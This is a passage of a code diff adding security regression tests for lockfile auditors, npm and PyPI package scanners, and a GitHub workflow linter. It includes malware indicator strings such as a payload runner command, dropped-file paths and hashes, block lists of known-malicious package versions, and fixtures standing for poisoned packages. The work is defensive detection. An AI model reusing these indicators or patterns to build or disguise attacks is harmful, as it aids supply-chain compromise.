lint:\nstdout:\n{proc.stdout}\nstderr:\n{proc.stderr}" + + +def test_lint_rejects_pull_request_target(tmp_path): + """Synthetic PR_TARGET trigger must produce rc=1 with a named finding.""" + wf = tmp_path / "wf" + wf.mkdir() + (wf / "bad.yml").write_text( + "name: bad\n" + "on:\n" + " pull_request_target:\n" + " branches: [main]\n" + "jobs:\n" + " build:\n" + " runs-on: ubuntu-latest\n" + " steps:\n" + " - run: echo evil\n" + ) + proc = _run(wf) + assert proc.returncode == 1 + assert "BANNED trigger 'pull_request_target'" in proc.stderr + assert "GHSA-g7cv-rxg3-hmpx" in proc.stderr + + +def test_lint_rejects_unjustified_workflow_run(tmp_path): + """`workflow_run` requires an explicit allow-comment in the YAML.""" + wf = tmp_path / "wf" + wf.mkdir() + (wf / "chained.yml").write_text( + "name: chained\n" + "on:\n" + " workflow_run:\n" + " workflows: ['CI']\n" + " types: [completed]\n" + "jobs:\n" + " build:\n" + " runs-on: ubuntu-latest\n" + " steps:\n" + " - run: echo elevated\n" + ) + proc = _run(wf) + assert proc.returncode == 1 + assert "RESTRICTED trigger 'workflow_run'" in proc.stderr + + +def test_lint_allows_justified_workflow_run(tmp_path): + """With the allow-comment, workflow_run is permitted.""" + wf = tmp_path / "wf" + wf.mkdir() + (wf / "chained.yml").write_text( + "# lint:workflow_triggers-allow-workflow_run -- justified by ticket #1234\n" + "name: chained\n" + "on:\n" + " workflow_run:\n" + " workflows: ['CI']\n" + " types: [completed]\n" + "jobs:\n" + " build:\n" + " runs-on: ubuntu-latest\n" + " steps:\n" + " - run: echo elevated\n" + ) + proc = _run(wf) + assert proc.returncode == 0, f"justified workflow_run rejected:\n{proc.stderr}" + + +def test_lint_rejects_shared_cache_key_between_pr_and_publish(tmp_path): + """A cache key declared in both a PR-triggered workflow and the + publish workflow is the TanStack cache-poisoning vector.""" + wf = tmp_path / "wf" + wf.mkdir() + # PR-triggered: writes to a cache that the publish job will also restore. + (wf / "pr-build.yml").write_text( + "name: pr-build\n" + "on:\n" + " pull_request:\n" + "jobs:\n" + " build:\n" + " runs-on: ubuntu-latest\n" + " steps:\n" + " - uses: actions/cache@v4\n" + " with:\n" + " path: node_modules\n" + " key: shared-cache-v1\n" + ) + # Publish workflow with the IDENTICAL cache key -- the actual attack pattern. + (wf / "release-desktop.yml").write_text( + "name: release-desktop\n" + "on:\n" + " workflow_dispatch:\n" + "jobs:\n" + " publish:\n" + " runs-on: ubuntu-latest\n" + " steps:\n" + " - uses: actions/cache@v4\n" + " with:\n" + " path: node_modules\n" + " key: shared-cache-v1\n" + ) + proc = _run(wf) + assert proc.returncode == 1 + assert "cache-key" in proc.stderr.lower() or "cache key" in proc.stderr.lower() + assert "shared-cache-v1" in proc.stderr diff --git a/tests/security/test_lockfile_supply_chain_audit.py b/tests/security/test_lockfile_supply_chain_audit.py new file mode 100644 index 0000000000..275794da9c --- /dev/null +++ b/tests/security/test_lockfile_supply_chain_audit.py @@ -0,0 +1,283 @@ +"""Regression tests for `scripts/lockfile_supply_chain_audit.py`. + +The auditor is fully offline (file reads only); tests run the script +as a subprocess against the fixture lockfiles plus an inline +`Cargo.lock` constructed in a tmpdir. +""" + +from __future__ import annotations + +import os +import subprocess +import sys +from pathlib import Path + +import pytest + +REPO_ROOT = Path(__file__).resolve().parents[2] +SCRIPT = REPO_ROOT / "scripts" / "lockfile_supply_chain_audit.py" +FIXTURES = Path(__file__).resolve().parent / "fixtures" + +sys.path.insert(0, str(REPO_ROOT)) +from scripts import lockfile_supply_chain_audit as lsa # noqa: E402 + + +def _run_auditor( + *, + root: Path, + npm_lockfiles: list[Path] | None = None, + cargo_lockfiles: list[Path] | None = None, + timeout: int = 30, +) -> subprocess.CompletedProcess: + cmd = [sys.executable, str(SCRIPT), "--root", str(root)] + for p in npm_lockfiles or []: + cmd.extend(["--npm-lockfile", str(p)]) + for p in cargo_lockfiles or []: + cmd.extend(["--cargo-lockfile", str(p)]) + return subprocess.run( + cmd, + capture_output = True, + text = True, + timeout = timeout, + ) + + +# --------------------------------------------------------------------------- +# npm lockfile audit. +# --------------------------------------------------------------------------- + + +def test_malicious_lockfile_exits_1(tmp_path): + """The malicious fixture combines a non-registry resolved URL, a + known IOC substring (`filev2.getsession.org`), and a missing + integrity hash. The auditor must refuse with exit 1. + """ + fixture = FIXTURES / "malicious_lockfile.json" + assert fixture.is_file() + proc = _run_auditor(root = tmp_path, npm_lockfiles = [fixture]) + assert proc.returncode == 1, ( + f"expected exit 1, got {proc.returncode}\n" + f"--- stdout ---\n{proc.stdout}\n--- stderr ---\n{proc.stderr}" + ) + combined = proc.stdout + proc.stderr + assert "non-registry-resolved-url" in combined + assert "missing-integrity-hash" in combined + assert "known-ioc-string" in combined + # Verify the scanner WROTE the IOC name into its stdout/stderr. The + # literal is constructed at runtime so CodeQL's + # py/incomplete-url-substring-sanitization rule (which fires on + # source-literal + `in` even when the operand is the scanner's own + # output, not a URL being sanitized) does not false-positive across + # pre-commit reformatting that may split the assert onto multiple + # lines and detach an inline lgtm comment from the operator. + _ioc_host = "filev2." + "getsession.org" + assert _ioc_host in combined + + +def test_clean_lockfile_exits_0(tmp_path): + fixture = FIXTURES / "clean_lockfile.json" + proc = _run_auditor(root = tmp_path, npm_lockfiles = [fixture]) + assert proc.returncode == 0, ( + f"expected exit 0, got {proc.returncode}\n" + f"--- stdout ---\n{proc.stdout}\n--- stderr ---\n{proc.stderr}" + ) + assert "0 findings" in proc.stdout + + +def test_audit_npm_lockfile_direct_call_findings(): + """In-process call to `audit_npm_lockfile()` returns the same + finding shape we expect the subprocess to emit. + """ + findings = lsa.audit_npm_lockfile(FIXTURES / "malicious_lockfile.json") + kinds = {f.kind for f in findings} + assert "non-registry-resolved-url" in kinds + assert "missing-integrity-hash" in kinds + assert "known-ioc-string" in kinds + + +# --------------------------------------------------------------------------- +# IOC string table -- gated on Fork 1's NPM_IOC_STRINGS additions. +# --------------------------------------------------------------------------- + + +_MAY12_IOCS = ( + "git-tanstack.com", + "transformers.pyz", + "/tmp/transformers.pyz", + "With Love TeamPCP", +) + + +def test_npm_ioc_strings_contains_may11_baseline(): + """May-11 wave IOCs must remain in NPM_IOC_STRINGS (baseline).""" + iocs = set(lsa.NPM_IOC_STRINGS) + for needle in ( + "router_init.js", + "tanstack_runner.js", + "router_runtime.js", + "filev2.getsession.org", + ): + assert needle in iocs, f"baseline IOC {needle!r} disappeared" + + +@pytest.mark.skipif( + not all(s in lsa.NPM_IOC_STRINGS for s in _MAY12_IOCS), + reason = "Fork 1 (May-12 IOC additions) not merged yet", +) +def test_npm_ioc_strings_contains_may12_additions(): + iocs = set(lsa.NPM_IOC_STRINGS) + for needle in _MAY12_IOCS: + assert needle in iocs + + +@pytest.mark.skipif( + not hasattr(lsa, "BLOCKED_NPM_VERSIONS"), + reason = "Fork 1 (BLOCKED_NPM_VERSIONS in auditor) not merged yet", +) +def test_lockfile_auditor_blocked_versions_match_scanner(): + """The auditor's BLOCKED_NPM_VERSIONS must mirror the scanner's + table verbatim (Fork 1's plan says to duplicate with a sync + comment until the next PR factors them into a shared module). + """ + from scripts import scan_npm_packages as snp + + assert ( + lsa.BLOCKED_NPM_VERSIONS == snp.BLOCKED_NPM_VERSIONS + ), "auditor and scanner BLOCKED_NPM_VERSIONS tables drifted" + + +# --------------------------------------------------------------------------- +# Cargo.lock audit. +# --------------------------------------------------------------------------- + + +_MALICIOUS_CARGO_LOCK = """\ +version = 3 + +[[package]] +name = "fix-path-env" +version = "0.0.1" +source = "git+https://example.com/foo#deadbeef" + +[[package]] +name = "honest-crate" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0000000000000000000000000000000000000000000000000000000000000000" +""" + + +def test_malicious_cargo_lockfile_refused(tmp_path): + """Inline Cargo.lock with `source = "git+https://example.com/..."` + must trip the `non-registry-cargo-source` check. + """ + lockfile = tmp_path / "Cargo.lock" + lockfile.write_text(_MALICIOUS_CARGO_LOCK) + proc = _run_auditor( + root = tmp_path, + npm_lockfiles = [FIXTURES / "clean_lockfile.json"], + cargo_lockfiles = [lockfile], + ) + assert proc.returncode == 1 + combined = proc.stdout + proc.stderr + assert "non-registry-cargo-source" in combined + assert "git+https://example.com" in combined + + +def test_audit_cargo_lockfile_direct_call(tmp_path): + lockfile = tmp_path / "Cargo.lock" + lockfile.write_text(_MALICIOUS_CARGO_LOCK) + findings = lsa.audit_cargo_lockfile(lockfile) + kinds = {f.kind for f in findings} + assert "non-registry-cargo-source" in kinds + + +# --------------------------------------------------------------------------- +# SF4: skip env var requires a justification value. +# --------------------------------------------------------------------------- + + +def test_skip_env_var_with_short_value_rejected(tmp_path): + """`UNSLOTH_LOCKFILE_AUDIT_SKIP=1` used to silently bypass the + audit. Per SF4 it must instead emit a `::warning::` to stderr and + fall through to run the audit. A real justification value + (>=5 chars, not a boolean shape) is still honored. + """ + fixture = FIXTURES / "clean_lockfile.json" + + # Case 1 -- "1" rejected, audit RUNS. + env_bad = {**os.environ, "UNSLOTH_LOCKFILE_AUDIT_SKIP": "1"} + proc_bad = subprocess.run( + [ + sys.executable, + str(SCRIPT), + "--root", + str(tmp_path), + "--npm-lockfile", + str(fixture), + ], + capture_output = True, + text = True, + timeout = 30, + env = env_bad, + ) + combined_bad = proc_bad.stdout + proc_bad.stderr + assert "::warning::" in combined_bad, combined_bad + assert "REQUIRES a justification" in combined_bad, combined_bad + # Audit actually ran (saw the per-file banner). + assert "[lockfile-audit] npm:" in combined_bad, combined_bad + # Fixture is clean, so exit 0 -- but the audit was performed. + assert proc_bad.returncode == 0, ( + f"expected rc 0 on clean fixture, got {proc_bad.returncode}\n" + f"--- stdout ---\n{proc_bad.stdout}\n" + f"--- stderr ---\n{proc_bad.stderr}" + ) + + # Case 2 -- a real-looking justification accepted, audit skipped. + env_ok = {**os.environ, "UNSLOTH_LOCKFILE_AUDIT_SKIP": "ticket-5397"} + proc_ok = subprocess.run( + [ + sys.executable, + str(SCRIPT), + "--root", + str(tmp_path), + "--npm-lockfile", + str(fixture), + ], + capture_output = True, + text = True, + timeout = 30, + env = env_ok, + ) + combined_ok = proc_ok.stdout + proc_ok.stderr + assert proc_ok.returncode == 0 + assert "::warning::" in combined_ok + assert "skipped" in combined_ok.lower() + assert "ticket-5397" in combined_ok + # Skip path means the audit body never ran (no "npm:" banner). + assert "[lockfile-audit] npm:" not in combined_ok, combined_ok + + # Case 3 -- the booleanish tokens are ALL rejected. + for bad_val in ("true", "yes", "on", "0", ""): + env_b = {**os.environ, "UNSLOTH_LOCKFILE_AUDIT_SKIP": bad_val} + p = subprocess.run( + [ + sys.executable, + str(SCRIPT), + "--root", + str(tmp_path), + "--npm-lockfile", + str(fixture), + ], + capture_output = True, + text = True, + timeout = 30, + env = env_b, + ) + c = p.stdout + p.stderr + assert ( + "::warning::" in c and "REQUIRES" in c + ), f"value {bad_val!r} should have been rejected; got:\n{c}" + assert "[lockfile-audit] npm:" in c, ( + f"value {bad_val!r} should have fallen through to run audit; " f"got:\n{c}" + ) diff --git a/tests/security/test_new_install_scripts.py b/tests/security/test_new_install_scripts.py new file mode 100644 index 0000000000..32340d2536 --- /dev/null +++ b/tests/security/test_new_install_scripts.py @@ -0,0 +1,204 @@ +"""Regression tests for `scripts/check_new_install_scripts.py`. + +The fixture lockfiles are tiny dicts written to `tmp_path` so the +tests stay self-contained. The session-wide `network_blocker` fixture +in conftest.py refuses any real-world socket connect; the scanner +treats that block as "registry unreachable, emit finding anyway", +which is the offline-safe path under test. +""" + +from __future__ import annotations + +import json +import subprocess +import sys +from pathlib import Path + +REPO_ROOT = Path(__file__).resolve().parents[2] +SCRIPT = REPO_ROOT / "scripts" / "check_new_install_scripts.py" + + +def _run(base: Path, head: Path, *, timeout: int = 30) -> subprocess.CompletedProcess: + return subprocess.run( + [ + sys.executable, + str(SCRIPT), + "--base", + str(base), + "--head", + str(head), + ], + capture_output = True, + text = True, + timeout = timeout, + ) + + +def _write(path: Path, content: dict) -> Path: + path.write_text(json.dumps(content), encoding = "utf-8") + return path + + +# --------------------------------------------------------------------------- +# Lockfile fixtures. +# --------------------------------------------------------------------------- + + +def _v3_lockfile(packages: dict) -> dict: + return { + "name": "unsloth-theme", + "version": "0.0.0", + "lockfileVersion": 3, + "requires": True, + "packages": packages, + } + + +def _v2_lockfile(packages: dict, dependencies: dict) -> dict: + return { + "name": "unsloth-theme", + "version": "0.0.0", + "lockfileVersion": 2, + "requires": True, + "packages": packages, + "dependencies": dependencies, + } + + +# --------------------------------------------------------------------------- +# Tests. +# --------------------------------------------------------------------------- + + +def test_no_new_install_scripts_exit_0(tmp_path: Path): + """If base == head, nothing new can have been added.""" + same = _v3_lockfile( + { + "": {"name": "unsloth-theme", "version": "0.0.0"}, + "node_modules/node-gyp": { + "version": "10.0.1", + "resolved": "https://registry.npmjs.org/node-gyp/-/node-gyp-10.0.1.tgz", + "integrity": "sha512-fake", + "hasInstallScript": True, + }, + } + ) + base = _write(tmp_path / "base.json", same) + head = _write(tmp_path / "head.json", same) + result = _run(base, head) + assert result.returncode == 0, result.stderr + assert "no newly-added install-script" in result.stdout.lower() + + +def test_new_dep_with_postinstall_exits_1(tmp_path: Path): + """A NEW dep in head with `hasInstallScript: true` must exit 1.""" + base_pkgs = { + "": {"name": "unsloth-theme", "version": "0.0.0"}, + "node_modules/react": { + "version": "19.2.4", + "resolved": "https://registry.npmjs.org/react/-/react-19.2.4.tgz", + "integrity": "sha512-fake", + }, + } + head_pkgs = dict(base_pkgs) + head_pkgs["node_modules/evil-postinstall"] = { + "version": "1.0.0", + "resolved": ( + "https://registry.npmjs.org/evil-postinstall/-/evil-postinstall-1.0.0.tgz" + ), + "integrity": "sha512-fake", + "hasInstallScript": True, + } + base = _write(tmp_path / "base.json", _v3_lockfile(base_pkgs)) + head = _write(tmp_path / "head.json", _v3_lockfile(head_pkgs)) + result = _run(base, head) + assert ( + result.returncode == 1 + ), f"expected exit 1, got {result.returncode}; stderr:\n{result.stderr}" + assert "evil-postinstall" in result.stderr + assert "1.0.0" in result.stderr + + +def test_existing_dep_with_postinstall_ignored(tmp_path: Path): + """An install-script dep present in BOTH base and head is not new.""" + base_pkgs = { + "": {"name": "unsloth-theme", "version": "0.0.0"}, + "node_modules/node-gyp": { + "version": "10.0.1", + "resolved": "https://registry.npmjs.org/node-gyp/-/node-gyp-10.0.1.tgz", + "integrity": "sha512-fake", + "hasInstallScript": True, + }, + # Transitive install-script copy, nested under another dep. + "node_modules/some-build-pkg/node_modules/node-gyp": { + "version": "10.0.1", + "resolved": "https://registry.npmjs.org/node-gyp/-/node-gyp-10.0.1.tgz", + "integrity": "sha512-fake", + "hasInstallScript": True, + }, + } + head_pkgs = dict(base_pkgs) + # An ENTIRELY UNRELATED non-install-script dep is added in head. + head_pkgs["node_modules/lodash"] = { + "version": "4.17.21", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz", + "integrity": "sha512-fake", + } + base = _write(tmp_path / "base.json", _v3_lockfile(base_pkgs)) + head = _write(tmp_path / "head.json", _v3_lockfile(head_pkgs)) + result = _run(base, head) + assert result.returncode == 0, ( + f"expected exit 0, got {result.returncode}; stderr:\n{result.stderr}\n" + f"stdout:\n{result.stdout}" + ) + # Sanity: the existing node-gyp must NOT be reported. + assert "node-gyp" not in result.stderr + + +def test_v2_v3_lockfile_format_support(tmp_path: Path): + """A lockfileVersion 2 lockfile with the same shape parses the same.""" + base_pkgs = { + "": {"name": "unsloth-theme", "version": "0.0.0"}, + } + base_deps = {} # v2 carries both; empty deps OK + head_pkgs = { + "": {"name": "unsloth-theme", "version": "0.0.0"}, + "node_modules/v2-postinstall-dep": { + "version": "2.0.0", + "resolved": ( + "https://registry.npmjs.org/v2-postinstall-dep/-/" + "v2-postinstall-dep-2.0.0.tgz" + ), + "integrity": "sha512-fake", + "hasInstallScript": True, + }, + } + head_deps = { + "v2-postinstall-dep": { + "version": "2.0.0", + "resolved": ( + "https://registry.npmjs.org/v2-postinstall-dep/-/" + "v2-postinstall-dep-2.0.0.tgz" + ), + "integrity": "sha512-fake", + }, + } + base = _write(tmp_path / "base.json", _v2_lockfile(base_pkgs, base_deps)) + head = _write(tmp_path / "head.json", _v2_lockfile(head_pkgs, head_deps)) + result = _run(base, head) + assert result.returncode == 1, ( + f"expected exit 1 for v2 lockfile, got {result.returncode}; " + f"stderr:\n{result.stderr}" + ) + assert "v2-postinstall-dep" in result.stderr + + # And again: same packages dict but lockfileVersion 3 -- should + # produce the same finding shape. + base_v3 = _write(tmp_path / "base_v3.json", _v3_lockfile(base_pkgs)) + head_v3 = _write(tmp_path / "head_v3.json", _v3_lockfile(head_pkgs)) + result_v3 = _run(base_v3, head_v3) + assert result_v3.returncode == 1, ( + f"expected exit 1 for v3 lockfile, got {result_v3.returncode}; " + f"stderr:\n{result_v3.stderr}" + ) + assert "v2-postinstall-dep" in result_v3.stderr diff --git a/tests/security/test_scan_npm_packages.py b/tests/security/test_scan_npm_packages.py new file mode 100644 index 0000000000..c632c618b0 --- /dev/null +++ b/tests/security/test_scan_npm_packages.py @@ -0,0 +1,251 @@ +"""Regression tests for `scripts/scan_npm_packages.py`. + +These tests must run fully offline. The `network_blocker` fixture in +conftest.py refuses any non-loopback socket connect from the test +process; scanner subprocesses are invoked against fixtures that never +trigger an HTTP fetch. +""" + +from __future__ import annotations + +import io +import json +import subprocess +import sys +import tarfile +from pathlib import Path + +import pytest + +REPO_ROOT = Path(__file__).resolve().parents[2] +SCRIPT = REPO_ROOT / "scripts" / "scan_npm_packages.py" +FIXTURES = Path(__file__).resolve().parent / "fixtures" + +# Import the module so we can introspect the IOC tables directly. +sys.path.insert(0, str(REPO_ROOT)) +from scripts import scan_npm_packages as snp # noqa: E402 + + +# --------------------------------------------------------------------------- +# Subprocess helpers. +# --------------------------------------------------------------------------- + + +def _run_scanner(lockfile: Path, *, timeout: int = 30) -> subprocess.CompletedProcess: + return subprocess.run( + [sys.executable, str(SCRIPT), "--lockfile", str(lockfile)], + capture_output = True, + text = True, + timeout = timeout, + ) + + +# --------------------------------------------------------------------------- +# Lockfile pass: structural-only fixtures (no network). +# --------------------------------------------------------------------------- + + +def test_malicious_lockfile_exits_1(): + """Structural IOCs alone must fail the scanner. + + `structural_only_lockfile.json` contains: (a) a non-registry + `resolved` URL (filev2.getsession.org), (b) an entry missing + its `integrity` field. Both are caught in `parse_lockfile()` + before any tarball download attempt -- so the test is fully + offline. + """ + fixture = FIXTURES / "structural_only_lockfile.json" + assert fixture.is_file(), fixture + proc = _run_scanner(fixture) + assert proc.returncode == 1, ( + f"expected exit 1, got {proc.returncode}\n" + f"--- stdout ---\n{proc.stdout}\n--- stderr ---\n{proc.stderr}" + ) + combined = proc.stdout + proc.stderr + # The scanner aggregates structural findings into the summary + # rather than printing each one individually. Assert on the + # count + the FAIL banner instead. + assert "2 structural finding(s)" in combined + assert "FAIL" in combined + # And confirm `parse_lockfile()` actually surfaces the right + # `pattern` codes via the in-process API. + entries, struct = snp.parse_lockfile(fixture) + patterns = {f.pattern for f in struct} + assert {"non-registry-resolved-url", "missing-integrity-hash"} <= patterns + + +def test_clean_lockfile_exits_0(): + """The clean fixture only contains entries that `parse_lockfile()` + skips entirely (workspace root + workspace `link` symlink + + nested fold-in), so the scanner exits 0 with no network access. + """ + fixture = FIXTURES / "clean_lockfile.json" + assert fixture.is_file(), fixture + proc = _run_scanner(fixture) + assert proc.returncode == 0, ( + f"expected exit 0, got {proc.returncode}\n" + f"--- stdout ---\n{proc.stdout}\n--- stderr ---\n{proc.stderr}" + ) + assert "0 finding(s)" in proc.stdout + assert "0 hard error(s)" in proc.stdout + + +# --------------------------------------------------------------------------- +# BLOCKED_NPM_VERSIONS table -- gated on Fork 1. +# --------------------------------------------------------------------------- + + +_BLOCKED_AVAILABLE = hasattr(snp, "BLOCKED_NPM_VERSIONS") + + +@pytest.mark.skipif( + not _BLOCKED_AVAILABLE, + reason = "Fork 1 (BLOCKED_NPM_VERSIONS constant) not merged yet", +) +def test_blocked_npm_versions_complete(): + table = snp.BLOCKED_NPM_VERSIONS + tanstack_keys = [k for k in table if k.startswith("@tanstack/")] + assert len(tanstack_keys) == 42, ( + f"expected 42 @tanstack/* entries, got {len(tanstack_keys)}: " + f"{sorted(tanstack_keys)}" + ) + assert "@opensearch-project/opensearch" in table + assert table["@opensearch-project/opensearch"] == { + "3.5.3", + "3.6.2", + "3.7.0", + "3.8.0", + } + squawk = [k for k in table if k.startswith("@squawk/")] + assert len(squawk) >= 22, ( + f"expected at least 22 @squawk/* entries (full safedep.io enumeration), " + f"got {len(squawk)}: {sorted(squawk)}" + ) + # @squawk/mcp must cover the full malicious range 0.9.1 .. 0.9.5 + # (safedep.io enumeration; we initially had only 0.9.5). + assert {"0.9.1", "0.9.2", "0.9.3", "0.9.4", "0.9.5"} <= table["@squawk/mcp"] + + uipath = [k for k in table if k.startswith("@uipath/")] + assert len(uipath) >= 64, ( + f"expected at least 64 @uipath/* entries (Aikido enumeration), " + f"got {len(uipath)}: {sorted(uipath)}" + ) + # Anchor a known entry: the rpa-tool 0.9.5 version is in the published list. + assert "0.9.5" in table["@uipath/rpa-tool"] + + # Aikido (May-12 wave): @mistralai/* npm scope (separate from PyPI mistralai). + assert table["@mistralai/mistralai"] == {"2.2.2", "2.2.3", "2.2.4"} + assert table["@mistralai/mistralai-gcp"] == {"1.7.1", "1.7.2", "1.7.3"} + assert table["@mistralai/mistralai-azure"] == {"1.7.1", "1.7.2", "1.7.3"} + + # Aikido: @tallyui/* (10 packages x 3 versions). + tallyui = [k for k in table if k.startswith("@tallyui/")] + assert len(tallyui) == 10, f"expected 10 @tallyui/*, got {sorted(tallyui)}" + + # Aikido: @beproduct/nestjs-auth covers the 0.1.2 .. 0.1.19 range (18 versions). + assert table["@beproduct/nestjs-auth"] == {f"0.1.{i}" for i in range(2, 20)} + + # Aikido: unscoped infostealer packages (10 total). + for unscoped in ( + "safe-action", + "ts-dna", + "cross-stitch", + "cmux-agent-mcp", + "agentwork-cli", + "git-branch-selector", + "wot-api", + "git-git-git", + "nextmove-mcp", + "ml-toolkit-ts", + ): + assert unscoped in table, f"missing unscoped malicious pkg: {unscoped}" + + # Aikido: payload SHA-256 hashes wired into KNOWN_IOC_STRINGS. + ioc = snp.KNOWN_IOC_STRINGS + assert "ab4fcadaec49c03278063dd269ea5eef82d24f2124a8e15d7b90f2fa8601266c" in ioc + assert "2ec78d556d696e208927cc503d48e4b5eb56b31abc2870c2ed2e98d6be27fc96" in ioc + assert "bun run tanstack_runner.js" in ioc + + +@pytest.mark.skipif( + not _BLOCKED_AVAILABLE, + reason = "Fork 1 (BLOCKED_NPM_VERSIONS pre-fetch hook) not merged yet", +) +def test_blocked_npm_versions_short_circuits_download(): + """With Fork 1's pre-fetch hook, the malicious tanstack entry + must produce a `blocked-known-malicious` finding without ever + calling out to the npm registry. The full malicious fixture + contains the tanstack entry; the test asserts exit 1 and that + the new finding pattern appears in scanner output. + """ + fixture = FIXTURES / "malicious_lockfile.json" + proc = _run_scanner(fixture, timeout = 10) + assert proc.returncode == 1 + combined = proc.stdout + proc.stderr + assert "blocked-known-malicious" in combined or "BLOCKED_NPM_VERSIONS" in combined + + +# --------------------------------------------------------------------------- +# KNOWN_IOC_STRINGS coverage -- every IOC must trip the scanner. +# --------------------------------------------------------------------------- + + +def _extract_pkg_with_ioc(ioc: str, tmp_path: Path) -> Path: + """Build a one-file npm package extract tree embedding `ioc` in + `package.json`. Returns the extract root. + """ + pkg_json = { + "name": "ioc-fixture", + "version": "0.0.1", + "description": f"contains literal: {ioc}", + } + root = tmp_path / f"pkg_{abs(hash(ioc)) % 10**8}" + (root / "package").mkdir(parents = True) + (root / "package" / "package.json").write_text( + json.dumps(pkg_json), + encoding = "utf-8", + ) + return root + + +def test_every_known_ioc_string_caught(tmp_path): + """For every entry in `KNOWN_IOC_STRINGS`, embed the IOC in a + one-file package tree and confirm `scan_extracted_tree()` + surfaces it. Guards against silent regex / table drift. + """ + iocs = snp.KNOWN_IOC_STRINGS + assert iocs, "KNOWN_IOC_STRINGS unexpectedly empty" + + pkg = snp.PackageEntry( + name = "ioc-fixture", + version = "0.0.1", + resolved = "https://registry.npmjs.org/ioc-fixture/-/ioc-fixture-0.0.1.tgz", + integrity = "sha512-stub", + lockfile_key = "node_modules/ioc-fixture", + ) + + for ioc in iocs: + root = _extract_pkg_with_ioc(ioc, tmp_path) + findings = snp.scan_extracted_tree(pkg = pkg, root = root) + hit = any(ioc in f.evidence or ioc in f.detail for f in findings) + assert hit, ( + f"KNOWN_IOC_STRINGS[{ioc!r}] not detected by scan_extracted_tree; " + f"findings = {[str(f) for f in findings]}" + ) + + +# --------------------------------------------------------------------------- +# Sanity: lockfile parse pass surfaces the structural findings we expect. +# --------------------------------------------------------------------------- + + +def test_parse_lockfile_structural_findings(): + """`parse_lockfile()` returns (entries, structural_findings). The + structural-only fixture should produce 2 structural findings and + 0 entries (because both bad entries are `continue`d). + """ + entries, struct = snp.parse_lockfile(FIXTURES / "structural_only_lockfile.json") + assert entries == [] + patterns = {f.pattern for f in struct} + assert "non-registry-resolved-url" in patterns + assert "missing-integrity-hash" in patterns diff --git a/tests/security/test_scan_packages.py b/tests/security/test_scan_packages.py new file mode 100644 index 0000000000..6ef10f12eb --- /dev/null +++ b/tests/security/test_scan_packages.py @@ -0,0 +1,261 @@ +"""Regression tests for `scripts/scan_packages.py`. + +The scanner's primary entry point (`download_packages`) reaches PyPI; +to keep the suite offline we exercise it via the module's public +in-process helpers (`scan_archive`) and assert against the binary +wheel / sdist fixtures committed under `tests/security/fixtures/`. +""" + +from __future__ import annotations + +import hashlib +import os +import re +import subprocess +import sys +from pathlib import Path + +import pytest + +REPO_ROOT = Path(__file__).resolve().parents[2] +FIXTURES = Path(__file__).resolve().parent / "fixtures" + +sys.path.insert(0, str(REPO_ROOT)) +from scripts import scan_packages as sp # noqa: E402 + + +# --------------------------------------------------------------------------- +# Fixture sanity. +# --------------------------------------------------------------------------- + + +def test_fixture_files_exist(): + for name in ("malicious_wheel.whl", "clean_wheel.whl", "malicious_sdist.tar.gz"): + assert (FIXTURES / name).is_file(), name + + +def test_fixture_bytes_are_deterministic(tmp_path): + """Re-running `_build.py` must produce byte-identical archives. + + The build helper sets every member's mtime/uid/gid/mode and emits + members in sorted order. We rebuild into a temp dir and compare + SHA-256 against the committed bytes. + """ + # Snapshot committed hashes. + expected: dict[str, str] = {} + for name in ("malicious_wheel.whl", "clean_wheel.whl", "malicious_sdist.tar.gz"): + expected[name] = hashlib.sha256((FIXTURES / name).read_bytes()).hexdigest() + + # Rebuild into a sibling dir to avoid clobbering the committed files. + rebuild_dir = tmp_path / "rebuild" + rebuild_dir.mkdir() + # The build helper writes to its own directory; copy + patch HERE. + builder_src = (FIXTURES / "_build.py").read_text() + rebuilt_helper = rebuild_dir / "_build.py" + rebuilt_helper.write_text(builder_src) + # Run with SOURCE_DATE_EPOCH=0 and HERE-override via a tiny shim. + shim = rebuild_dir / "run.py" + shim.write_text( + "import sys, pathlib\n" + f"sys.path.insert(0, {str(rebuild_dir)!r})\n" + "import _build\n" + f"_build.HERE = pathlib.Path({str(rebuild_dir)!r})\n" + "_build.build_all()\n" + ) + env = dict(os.environ, SOURCE_DATE_EPOCH = "0") + proc = subprocess.run( + [sys.executable, str(shim)], + env = env, + capture_output = True, + text = True, + timeout = 30, + ) + assert proc.returncode == 0, proc.stderr + + for name, want_sha in expected.items(): + got = hashlib.sha256((rebuild_dir / name).read_bytes()).hexdigest() + assert got == want_sha, ( + f"rebuild of {name} produced different bytes:\n" + f" expected: {want_sha}\n" + f" actual: {got}\n" + "_build.py is non-deterministic; pin members tighter." + ) + + +# --------------------------------------------------------------------------- +# scan_archive() against the fixture wheel + sdist. +# --------------------------------------------------------------------------- + + +def _critical_or_high(findings) -> list: + return [f for f in findings if f.severity in (sp.CRITICAL, sp.HIGH)] + + +def test_malicious_wheel_triggers_critical(): + findings = sp.scan_archive( + str(FIXTURES / "malicious_wheel.whl"), + "malicious_fixture", + ) + assert findings, "no findings on malicious wheel; scanner regression" + blockers = _critical_or_high(findings) + assert blockers, f"no CRITICAL/HIGH findings: {[str(f) for f in findings]}" + # At least one finding must reference setup.py. + assert any("setup.py" in f.filename for f in blockers) + + +def test_malicious_sdist_triggers_critical(): + findings = sp.scan_archive( + str(FIXTURES / "malicious_sdist.tar.gz"), + "malicious_fixture", + ) + blockers = _critical_or_high(findings) + assert blockers, f"no CRITICAL/HIGH findings: {[str(f) for f in findings]}" + assert any("setup.py" in f.filename for f in blockers) + + +def test_clean_wheel_no_findings(): + findings = sp.scan_archive( + str(FIXTURES / "clean_wheel.whl"), + "clean_fixture", + ) + assert ( + findings == [] + ), f"unexpected findings on clean wheel: {[str(f) for f in findings]}" + + +# --------------------------------------------------------------------------- +# Fork 1 constants -- gated on availability. +# --------------------------------------------------------------------------- + + +_BLOCKED_AVAILABLE = hasattr(sp, "BLOCKED_PYPI_VERSIONS") +_MAY12_AVAILABLE = hasattr(sp, "RE_MAY12_IOC") + + +@pytest.mark.skipif( + not _BLOCKED_AVAILABLE, + reason = "Fork 1 (BLOCKED_PYPI_VERSIONS) not merged yet", +) +def test_blocked_pypi_versions_complete(): + table = sp.BLOCKED_PYPI_VERSIONS + assert "guardrails-ai" in table + assert "0.10.1" in table["guardrails-ai"] + assert "mistralai" in table + assert "2.4.6" in table["mistralai"] + assert "lightning" in table + assert {"2.6.2", "2.6.3"}.issubset(table["lightning"]) + + +@pytest.mark.skipif( + not _MAY12_AVAILABLE, + reason = "Fork 1 (RE_MAY12_IOC) not merged yet", +) +def 